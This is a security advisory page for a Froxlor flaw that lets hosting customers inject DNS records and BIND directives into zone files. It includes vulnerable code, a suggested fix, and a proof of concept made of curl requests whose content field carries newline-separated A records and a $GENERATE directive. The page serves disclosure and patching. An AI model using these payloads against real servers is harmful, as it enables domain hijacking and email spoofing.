CVE-2026-41230: Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

Published Apr 16, 2026
·
Updated

Summary

DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.

Details

Missing type whitelist — DomainZones.php:93:

The type parameter is accepted directly from user input with no validation against allowed values:

php // lib/Froxlor/Api/Commands/DomainZones.php:93 $type = $this->getParam('type', true, 'A');

The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:

php // TODO regex validate content for invalid characters

Missing newline sanitization — DomainZones.php:154:

The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:

php // lib/Froxlor/Api/Commands/DomainZones.php:154 $content = trim($content);

Unsafe zone file output — DnsEntry.php:83:

DnsEntry::toString() concatenates content directly into zone file format without escaping:

php // lib/Froxlor/Dns/DnsEntry.php:83 return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "") . $content . PHPEOL;

Newlines in $content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.

Zone file write — Bind.php:121:

php // lib/Froxlor/Cron/Dns/Bind.php:121 fwrite($zonefilehandler, $zoneContent . $subzones);

The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dnsadd.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.

Execution flow: 1. Customer sends API request with type=NAPTR and content containing \n-separated lines 2. getParam() returns raw values without sanitization 3. Type NAPTR matches none of the if/elseif conditions — no content validation runs 4. trim($content) preserves embedded newlines 5. Content is inserted into domaindns table via prepared statement 6. DNS cron creates DnsEntry objects from DB records (Dns.php:297) 7. DnsEntry::toString() outputs content with embedded newlines into zone format 8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records

PoC

Step 1: Inject a DNS record with embedded newlines via API

bash curl -s -X POST 'https://froxlor.example.com/api.php' \ -u 'APIKEY:APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "id": 1, "type": "NAPTR", "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ." } }'

Expected: HTTP 200 with success response. The record is stored in the database.

Step 2: Wait for DNS cron to rebuild zones (or trigger manually)

bash As admin, trigger the DNS rebuild cron php /var/www/froxlor/scripts/froxlormastercronjob.php --force --dns

Step 3: Inspect the generated zone file

bash cat /etc/bind/domains/example.com.zone

Expected zone file content includes injected lines:

@ 18000 IN NAPTR 100 10 "" "" "" . @ 300 IN A 1.2.3.4 @ 300 IN NAPTR 100 10 "" "" "" .

The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.

Step 4: Verify BIND directive injection

bash curl -s -X POST 'https://froxlor.example.com/api.php' \ -u 'APIKEY:APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "id": 1, "type": "NAPTR", "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com." } }'

This injects a $GENERATE directive that creates 255 PTR records.

Impact

An authenticated customer with DNS editing enabled can:

1. Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic. 2. Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain. 3. Inject BIND server directives ($INCLUDE, $ORIGIN, $GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records. 4. Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.

While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.

Recommended Fix

1. Add a type whitelist in DomainZones::add() (primary fix):

php // lib/Froxlor/Api/Commands/DomainZones.php — after line 93 $type = $this->getParam('type', true, 'A');

$allowedtypes = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT']; if (!inarray($type, $allowedtypes)) { throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406); }

2. Strip newline characters from content (defense-in-depth):

php // lib/Froxlor/Api/Commands/DomainZones.php — replace line 154 $content = trim(strreplace(["\r", "\n"], '', $content));

3. Sanitize in DnsEntry::toString() as a belt-and-suspenders measure:

php // lib/Froxlor/Dns/DnsEntry.php — at the start of toString() $content = strreplace(["\r", "\n"], '', $this->content);

Other sources

Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

— Packagist

Froxlor is open source server administration software. Prior to version 2.3.6, DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file. Version 2.3.6 fixes the issue.

— MITRE

Affected Software

4 affected componentsFixes available
Froxlor Froxlor<2.3.6
Froxlor Froxlor<2.3.6
composer/froxlor/froxlor<2.3.6
2.3.6
composer/froxlor/froxlor<2.3.6
2.3.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/froxlor/froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.6
  2. Upgrade

    Upgrade Froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.6
  3. Configuration

    Reject any DNS record type not in the whitelist before storing the record, preventing unsupported types such as NAPTR, PTR, and HINFO from bypassing content validation.

    Froxlor DomainZones::add() DNS record type whitelist = A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT
  4. Configuration

    Strip embedded newline characters from DNS record content in DomainZones::add(); also sanitize content at the start of DnsEntry::__toString() as defense in depth before writing the BIND zone file.

    Froxlor DNS record content handling newline sanitization = strip newline characters

Event History

Apr 16, 2026
Advisory Published
via GitHub·12:47 AM
Data Sourced
via GitHub·12:47 AM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·12:47 AM
DescriptionSeverityAffected Software
Apr 23, 2026
CVE Published
via MITRE·03:47 AM
Data Sourced
via MITRE·03:47 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41230?

CVE-2026-41230 is rated as a high severity vulnerability due to the potential for BIND Zone File Injection.

2

How do I fix CVE-2026-41230?

To fix CVE-2026-41230, upgrade Froxlor to version 2.3.6 or later where the vulnerability is patched.

3

What versions of Froxlor are affected by CVE-2026-41230?

Froxlor versions prior to 2.3.6 are affected by CVE-2026-41230.

4

What type of vulnerability is CVE-2026-41230?

CVE-2026-41230 is a BIND Zone File Injection vulnerability.

5

What impact does CVE-2026-41230 have on system security?

CVE-2026-41230 can allow an attacker to inject malicious DNS records, potentially leading to data loss or unauthorized access.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203